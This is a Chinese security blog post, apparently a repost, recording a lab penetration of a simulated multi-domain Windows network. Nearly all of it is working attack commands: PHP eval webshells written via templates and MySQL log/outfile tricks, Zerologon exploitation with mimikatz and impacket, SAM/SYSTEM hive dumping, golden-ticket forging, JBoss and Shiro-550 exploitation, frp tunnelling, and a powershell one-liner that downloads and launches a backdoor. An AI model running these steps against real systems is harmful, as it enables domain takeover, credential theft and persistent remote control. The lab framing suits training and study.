内网+服务攻防实战模拟

admin 2021年7月21日10:03:48评论224 views字数 9962阅读33分12秒阅读模式

请点击上面 内网+服务攻防实战模拟 一键关注!

内容来源:FreeBuf

内网+服务攻防实战模拟

本篇文章详细记录了一个内网+服务环境靶机的渗透过程,大约涉及到15台主机,由于这些靶机都在虚拟机内搭建,和实战相比有所区别,但可以尽最大程度地模拟实战的情况。

从一级代理到三级代理,使用内网安全中常见的攻击手段(置零攻击、票据、域信任等)和服务安全常用的渗透手段(MSSQL利用存储过程提权、shiro550、Struts2-052漏洞等等)通过对内网中各个主机的渗透,一步步将Web服务器、子域控、父域控、安全域、涉密域、独立域等主机拿下。

PS:三月入门内网安全,简单完成了项目一(纯内网环境无任何应用),四月五月学习服务攻防,包括五个数据库、八个中间件和五个框架,总结了大部分知识点,也对其有了基本了解。本次实战模拟是DAYU师父搭建第二个实战项目,结合了前三个月内网+服务攻防大部分知识点。(水平有限,望大佬轻喷~)

靶场环境简单介绍

靶场环境的大致拓扑图如下

内网+服务攻防实战模拟

基本的方向也分为两条,一条是独立域方向,连接着5台业务服务器,另一条是安全域方向,连接涉密服务器。本篇文章根据这两条方向分别进行记录,上篇介绍Web服务器、子域控、父域控、辅域控、安全域和涉密服务器这快,下篇介绍独立域的7台主机。不多说,开始动手~

一、Web服务器

重点是内网和服务主机,拿下Web服务器就简单概述下~

1、后台登陆点+密码爆破

内网+服务攻防实战模拟

使用burpsuite爆破密码

内网+服务攻防实战模拟

用admin和123456登陆进后台。

2、前台模板写入一句话

在后台模板内容编辑处,发现可以通过前台模板拿shell,在前台模板中写入一句话

内网+服务攻防实战模拟

3、蚁剑拿shell

分别填上URL地址和连接密码,成功连接

内网+服务攻防实战模拟

4、上线CS

1)创建监听器111,选择攻击--生成后门--Windows Executable (S),创建木马文件webserver.exe

内网+服务攻防实战模拟

通过蚁剑虚拟终端上传并执行木马文件,成功上线CS

内网+服务攻防实战模拟

5、使用插件提权

内网+服务攻防实战模拟

6、建立一级代理 | frp

上传frpc.exe文件,修改frpc.ini文件内容如下

[common]server_addr = 121.xx.xx.xx      # 公网服务器IPserver_port = 12001             # 服务器端口[http_proxy]type = tcpremote_port = 1090      # socks代理端口plugin = socks5

修改frps.ini文件内容

[common]bind_addr = 0.0.0.0     # 绑定地址,0.0.0.0表示本身bind_port = 12001       # 绑定端口

执行顺序:先在公网服务器上启动frps.exe,后在web服务器上连接

1. 公网服务器frps.exe -c frps.ini
2. Web服务器frpc.exe -c frpc.ini

内网+服务攻防实战模拟

二、子域控制器

Hash置零攻击、CVE-2020-1472

1、信息收集

通过CScan、nbtscan、fscan等扫描器和系统命令ipconfig、sysinfo等方式对域内环境进行信息收集,整合后的数据如下

本机信息:192.168.73.13710.10.10.101    DNS为10.10.10.10 (可以确定为子域控IP)主机名: web域名: ziyu.dayu.com
10.10.10.5DAYUWIN-AMJ9T9TL123 SHARING DCWindows Server 2016AMJ9T9TL123 dayu.com
10.10.10.6DAYUFUYU SHARING DCWindows Server 2016FUYU dayu.com
10.10.10.10ZIYU0ZIYU SHARINGWindows Server 2016另一IP:10.12.10.5ZIYU ziyu.dayu.com
10.10.10.66AQWIN-D5NCBKR11G2 SHARING DCWindows Server 2016另一IP:201.1.10.5WIN-D5NCBKR11G2 aq.dayu.com
10.10.10.90DAYUHEXIN SHARINGWin7HEXIN dayu.com
10.10.10.101ZIYU0WEB SHARINGWin7WEB ziyu.dayu.com

分析上面的信息后,可得子域控IP为10.10.10.10,且为win2016操作系统。

可以尝试使用置空攻击(CVE-2020-1472)

2、域控Hash置空漏洞 | CVE-2020-1472

1)上传mimikatz工具

2)检测是否存在CVE-2020-1472

shell mimikatz.exe "lsadump::zerologon /target:10.10.10.10 /account:ZIYU$" "exit"

回显OK — vulnerable表示存在该漏洞

内网+服务攻防实战模拟

3)执行置零攻击

shell mimikatz.exe "lsadump::zerologon /target:10.10.10.10 /account:ZIYU$ /exploit" "exit"

内网+服务攻防实战模拟

4)空Hash登陆导出Hash值

proxychains impacket-secretsdump -no-pass -just-dc ziyu.dayu.com/ZIYU$@10.10.10.10得到a8ad79b7b2c6598658ca0932cbf01e40

通过proxychains使用一级代理

内网+服务攻防实战模拟

5)使用wmiexec.py登陆进Administrator账户

proxychains python3 wmiexec.py -hashes :a8ad79b7b2c6598658ca0932cbf01e40 ./Administrator@10.10.10.10

内网+服务攻防实战模拟

6)导出SYSTEM、SAM等密码文件

接下来就是恢复域控Hash值,恢复完整

登陆进Administrator用户,执行命令下载三个文件

reg save HKLMSYSTEM system.hivereg save HKLMSAM sam.hivereg save HKLMSECURITY security.hiveget system.hiveget sam.hiveget security.hivedel /f system.hivedel /f sam.hivedel /f security.hive

内网+服务攻防实战模拟

7)破解密码文件得到域机器Hash

impacket-secretsdump -sam sam.hive -system system.hive -security security.hive LOCAL得到06eedd341333c69b0b2980afa814783a

内网+服务攻防实战模拟

8)恢复域控机器Hash值

使用到脚本reinstall_original_pw.py项目地址:https://github.com/risksense/zerologon

proxychains python3 reinstall_original_pw.py ZIYU 10.10.10.10 06eedd341333c69b0b2980afa814783a

内网+服务攻防实战模拟

3、上线CS

1)生成监听10.10.10.0/24网段的中转监听器

内网+服务攻防实战模拟

2)生成木马文件zz1.exe,并拷贝到kali上

内网+服务攻防实战模拟

3)wmiexec.py连接登陆进shell,上传执行zz1.exe文件,成功上线CS~

proxychains python3 wmiexec.py -hashes :a8ad79b7b2c6598658ca0932cbf01e40 ./Administrator@10.10.10.10

内网+服务攻防实战模拟

三、父域控制器

CVE-2020-1472 Hash置零攻击 | 10.10.10.5

1、信息收集

IP: 10.10.10.5操作系统: Win 2016主机名: WIN-AMJ9T9TL123域名: dayu.com

使用一级代理进行常规端口扫描,没有发现服务应用程序,判断是个纯域控环境

proxychains nmap -sT -sV -Pn -n -p 8080,3306,6379,80,1433,27017 10.10.10.5
PORT STATE SERVICE VERSION80/tcp closed http1433/tcp closed ms-sql-s3306/tcp closed mysql6379/tcp closed redis8080/tcp closed http-proxy27017/tcp closed mongod

2、Hash置零攻击拿下父域控

类似子域控的拿下方式

1)上传mimikatz

2)检测是否存在置零攻击的可能

shell mimikatz.exe "lsadump::zerologon /target:10.10.10.5 /account:WIN-AMJ9T9TL123$" "exit"

回显OK -- vulnerable表示存在该漏洞

内网+服务攻防实战模拟

3)执行置零攻击

shell mimikatz.exe "lsadump::zerologon /target:10.10.10.5 /account:WIN-AMJ9T9TL123$ /exploit" "exit"

4)空Hash登陆导出Hash值

proxychains impacket-secretsdump -no-pass -just-dc WIN-AMJ9T9TL123.dayu/WIN-AMJ9T9TL123$@10.10.10.5得到:99b81196c641b05ce3cb7fcd7c27e094

通过proxychains使用一级代理

内网+服务攻防实战模拟

5)使用wmiexec.py登陆进Administrator账户

proxychains python3 wmiexec.py -hashes :99b81196c641b05ce3cb7fcd7c27e094 ./Administrator@10.10.10.5

6)导出SYSTEM、SAM等密码文件

接下来就是恢复域控Hash值,恢复完整

登陆进shell中,执行以下命令

reg save HKLMSYSTEM system.hivereg save HKLMSAM sam.hivereg save HKLMSECURITY security.hiveget system.hiveget sam.hiveget security.hivedel /f system.hivedel /f sam.hivedel /f security.hive

内网+服务攻防实战模拟

7)破解密码文件得到域机器Hash

impacket-secretsdump -sam sam.hive -system system.hive -security security.hive LOCAL得到4c50080dd9386c7383618a6a379566fc

内网+服务攻防实战模拟

8)恢复域控机器Hash值

使用到脚本reinstall_original_pw.py

proxychains python3 reinstall_original_pw.py WIN-AMJ9T9TL123 10.10.10.5 4c50080dd9386c7383618a6a379566fc

内网+服务攻防实战模拟

PS:用下面的方法恢复Hash暂时无效,望大佬指出错误

shell mimikatz.exe "privilege::debug" "lsadump::postzerologon /target:10.10.10.5 /account:WIN-AMJ9T9TL123$" "exit

3、上线CS

先在子域控上创建中转监听器并生成木马文件zz4.exe

再通过wmiexec.py登陆进Administrator账户,上传木马文件zz4.exe

内网+服务攻防实战模拟

4、拓展:利用域信任拿下父域控

1)域信任相关信息收集

SID信息

shell mimikatz.exe privilege::debug "lsadump::lsa /patch /user:dayu$" "lsadump::trust /patch" "exit"
子域控SID S-1-5-21-2583698968-2429581080-2114424868父域控SID S-1-5-21-3309395417-4108617856-2168433834子域控rc4 d8d44b17bb424cfb9ef1dec0f7fdcfe5

内网+服务攻防实战模拟

krbtgt的NTLM值

shell mimikatz.exe "privilege::debug" "lsadump::lsa /patch /user:krbtgt" "exit"
krbtgt的NTLM值: 37de8c1425b597055f76a037a49adfdd

内网+服务攻防实战模拟

2)利用krbtgt散列值获取目标域的权限

生成黄金票据并注入票据

shell mimikatz.exe "Kerberos::golden /user:administrator /domain:ziyu.dayu.com /sid:S-1-5-21-2583698968-2429581080-2114424868 /sids:S-1-5-21-3309395417-4108617856-2168433834-519 /krbtgt:37de8c1425b597055f76a037a49adfdd /ptt" "exit"

注入后查看能否访问父域控目录

shell dir \WIN-AMJ9T9TL123.dayu.comc$

内网+服务攻防实战模拟

检查了好几遍还是拒绝访问,先留着,之后有技术了回来解决。

正常情况下,能访问到父域控的目录后写入木马文件后可以设置定时任务启动木马文件上线CS

四、辅域控制器

10.10.10.6 | Win 2016

1、信息收集

IP: 10.10.10.6操作系统: Win 2016主机名: FUYU域名: dayu.com

2、上线CS

由于父域控和辅域控是相辅相成的,所以他们两的密码一致,改了一个,另一个就跟着变

通过wmiexec.py登陆进Administrator账户

上传后门文件zz4.exe

proxychains python3 wmiexec.py -hashes :99b81196c641b05ce3cb7fcd7c27e094 ./Administrator@10.10.10.6

内网+服务攻防实战模拟

五、父域用户主机

JBoss | 10.10.10.90

IP: 10.10.10.90操作系统: Win 7主机名: HEXIN域名: dayu.com

1、信息收集

使用nmap进行端口扫描

proxychains nmap -sT -sV -Pn -n -p 8080,3306,6379,80,1433,27017 10.10.10.90
PORT STATE SERVICE VERSION80/tcp closed http1433/tcp closed ms-sql-s3306/tcp closed mysql6379/tcp closed redis8080/tcp open http Apache Tomcat/Coyote JSP engine 1.127017/tcp closed mongod

只开启了一个8080端口,挂代理前往访问看看,发现为JBoss中间件

内网+服务攻防实战模拟

2、方法一:JBoss自动化工具渗透

使用自动化渗透工具jexboss.py项目地址:https://github.com/joaomatosf/jexboss

proxychains python jexboss.py -host http://10.10.10.90:8080

内网+服务攻防实战模拟

存在admin-console漏洞,在提示admin-Console时选择yes

内网+服务攻防实战模拟

得到一个shell

内网+服务攻防实战模拟

powershell (new-object System.Net.WebClient).DownloadFile('http://10.10.10.101/zz4.exe','zz4.exe');start-process zz4.exe

不过这里执行powershell并没有上线成功过。此外,在内网不好反向连接,这里没啥思路,等大佬捞捞~

3、方法二:JBoss手动渗透

1)发现JBoss后台登陆界面

http://10.10.10.90:8080/admin-console/login.seam?conversationId=33

内网+服务攻防实战模拟

尝试账号admin以及默认密码admin登陆,成功登陆进去(运气成分) 可以用BurpSuite抓包爆破密码

内网+服务攻防实战模拟

2)上传木马文件war包

内网+服务攻防实战模拟

4、上线CS

访问该小马,写入zz4.exe后门文件并执行,成功上线CS

内网+服务攻防实战模拟

六、安全域

Shiro | MySQL | 10.10.10.66

1、信息收集

IP: 10.10.10.66201.1.10.5操作系统: Win 2016主机名: WIN-D5NCBKR11G2域名: aq.dayu.com

使用nmap获取端口信息:

proxychains nmap -sT -sV -Pn -n -p 8080,3306,6379,80,1433,27017 10.10.10.66
PORT STATE SERVICE VERSION80/tcp open http Apache httpd 2.4.23 ((Win32) OpenSSL/1.0.2j PHP/5.4.45)1433/tcp closed ms-sql-s3306/tcp open mysql MySQL (unauthorized)6379/tcp closed redis8080/tcp open http Apache Tomcat 8.5.6527017/tcp closed mongod

一个8080,一个3306端口开启

访问10.10.10.66:8080,发现了shiro框架10.10.10.66:8080/shiro

内网+服务攻防实战模拟

2、方法一:Shiro反序列化漏洞550

使用工具shiro-1.2.4_rce.py进行不出网攻击 项目地址:https://github.com/zhzyker/shiro-1.2.4-rce

执行命令进行验证攻击

proxychains python3 shiro-1.2.4_rce.py http://10.10.10.66:8080/shiro/

内网+服务攻防实战模拟

3、powershell下载执行文件上线CS

1)放置后门文件

10.10.10.0/24同网段中有Web服务器可以访问文件,将后门文件zz4.exe放置在Web服务器上,用于获取该后门文件。

内网+服务攻防实战模拟

2)powershell下载文件并执行

shiro-1.2.4_rce.py工具中执行命令

powershell (new-object System.Net.WebClient).DownloadFile('http://10.10.10.101/zz4.exe','zz4.exe');start-process zz4.exe

成功上线~

4、方法二:MySQL日志写shell

1)MySQL登陆密码爆破

使用MSF爆破

使用nmap爆破

proxychains nmap --script=mysql-brute -sT -Pn -p 3306 20.20.20.199root:root

密码爆破成功后可以命令行直接登陆执行命令,这里尝试phpmyadmin上执行命令

详细见下篇的第八部分 独立域主机5

2)登陆进phpmyadmin

10.10.10.66/phpmyadmin

内网+服务攻防实战模拟

3)修改日志路径 | 日志写shell

一般在root权限下允许将general_log选项打开,它可以记录用户用户的每条命令,并保存至对应的文件中

set global general_log = "ON";set global general_log_file='C:/phpStudy/WWW/xigua.php';

网站路径可在80端口的phpStudy探针上看到

通过命令查看general_log选项值

SHOW VARIABLES LIKE 'general%';

内网+服务攻防实战模拟

再执行命令,日志会将php一句话这行命令写入进上面设置的xigua.php文件中

select "<?php @eval($_POST['123']);?>";

内网+服务攻防实战模拟

5、用蚁剑连接shell并上线CS

1)蚁剑连接一句话木马

URL地址    http://10.10.10.66/xigua.php连接密码    123

内网+服务攻防实战模拟

2)上传后门文件zz4.exe

内网+服务攻防实战模拟

3)在虚拟终端执行该文件

内网+服务攻防实战模拟

七、涉密域

201.1.10.206

1、建立frp二级代理(安全域方向)

frp代理文件配置如下,共有4个配置文件

##安全域# frpc.ini[common]server_addr = 10.10.10.101server_port = 12012[http_proxy]type = tcpremote_port = 1096plugin = socks5
##Web服务器# frps.ini[common]bind_addr = 10.10.10.101bind_port = 12012
# frpc.ini[common]server_addr = 121.xx.xx.xxserver_port = 12012[http_proxy]type = tcplocal_ip = 10.10.10.101local_port = 1096remote_port = 1096
## 公网服务器# frps.ini[common]bind_addr = 0.0.0.0bind_port = 12012

按下面的执行顺序依次执行

1. Web服务器frps.exe -c frps.ini2. 安全域frpc.exe -c frpc.ini
3. 公网服务器frps.exe -c frps.ini4. Web服务器frpc.exe -c frpc.ini

2、信息收集

IP: 201.1.10.206主机名: SHEMI域名:aq.dayu.com

通过nmap对其进行端口扫描,发现80和3306

proxychains nmap -sT -sV -Pn -n -p 8080,3306,6379,80,1433,27017 201.1.10.206
PORT STATE SERVICE VERSION80/tcp open http Apache httpd 2.4.23 ((Win32) OpenSSL/1.0.2j PHP/5.4.45)1433/tcp closed ms-sql-s3306/tcp open mysql MySQL 5.5.536379/tcp closed redis8080/tcp closed http-proxy27017/tcp closed mongod

代理访问http://201.1.10.206/,为phpStudy探针,可以获得绝对路径信息

内网+服务攻防实战模拟

3、MySQL outfile写shell

1)mysql密码爆破

使用MSF模块scanner/mysql/mysql_login,设置代理

setg Proxies socks5:121.xx.xx.xx:xxsetg ReverseAllowProxy true

内网+服务攻防实战模拟

成功爆破出密码为root

2)写入shell文件

登陆mysql

proxychains mysql -uroot -proot -h201.1.10.206

查看是否拥有写入文件的权限及写入位置,空表示可以写入任意地址

show global variables like '%secure_file_priv%';

内网+服务攻防实战模拟

直接写入一句话木马到网站目录下

select '<?php @eval($_POST[123]);?>' into outfile 'C:/phpStudy/WWW/Kr1-shujuku.php';

内网+服务攻防实战模拟

4、蚁剑连接shell

URL地址:http://201.1.10.206/Kr1-shujuku.php连接密码:123

内网+服务攻防实战模拟

5、上线CS

1)创建中转监听器zhongzhuan5

内网+服务攻防实战模拟

2)上传zz5.exe并执行

内网+服务攻防实战模拟

成功上线~~

内网+服务攻防实战模拟

「天億网络安全」 知识星球 一个网络安全学习的星球!星球主要分享、整理、原创编辑等网络安全相关学习资料,一个真实有料的网络安全学习平台,大家共同学习、共同进步!

知识星球定价:199元/年,(服务时间为一年,自加入日期顺延一年)。

如何加入:扫描下方二维码,扫码付费即可加入。

加入知识星球的同学,请加我微信,拉您进VIP交流群!

内网+服务攻防实战模拟

朋友都在看

▶️等保2.0丨2021 必须了解的40个问题

▶️等保2.0 三级 拓扑图+设备套餐+详解

▶️等保2.0 二级 拓扑图+设备套餐+详解

▶️等保2.0 测评  二级系统和三级系统多长时间测评一次?

▶️等保2.0系列安全计算环境之数据完整性、保密性测评

▶️等保医疗|全国二级、三乙、三甲医院信息系统安全防护设备汇总

▶️国务院:不符合网络安全要求的政务信息系统未来将不给经费

▶️等级保护、风险评估和安全测评三者的区别

▶️分保、等保、关保、密码应用对比详解

▶️汇总 | 2020年发布的最重要网络安全标准(下载)

天億网络安全

【欢迎收藏分享到朋友圈,让更多朋友了解网络安全,分享也是一种美德!】

内网+服务攻防实战模拟

↑↑↑长按图片识别二维码关註↑↑↑


欢迎扫描关注【天億网络安全】公众号,及时了解更多网络安全知识

本文始发于微信公众号(天億网络安全):内网+服务攻防实战模拟

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年7月21日10:03:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   内网+服务攻防实战模拟http://cn-sec.com/archives/430429.html

发表评论

匿名网友 填写信息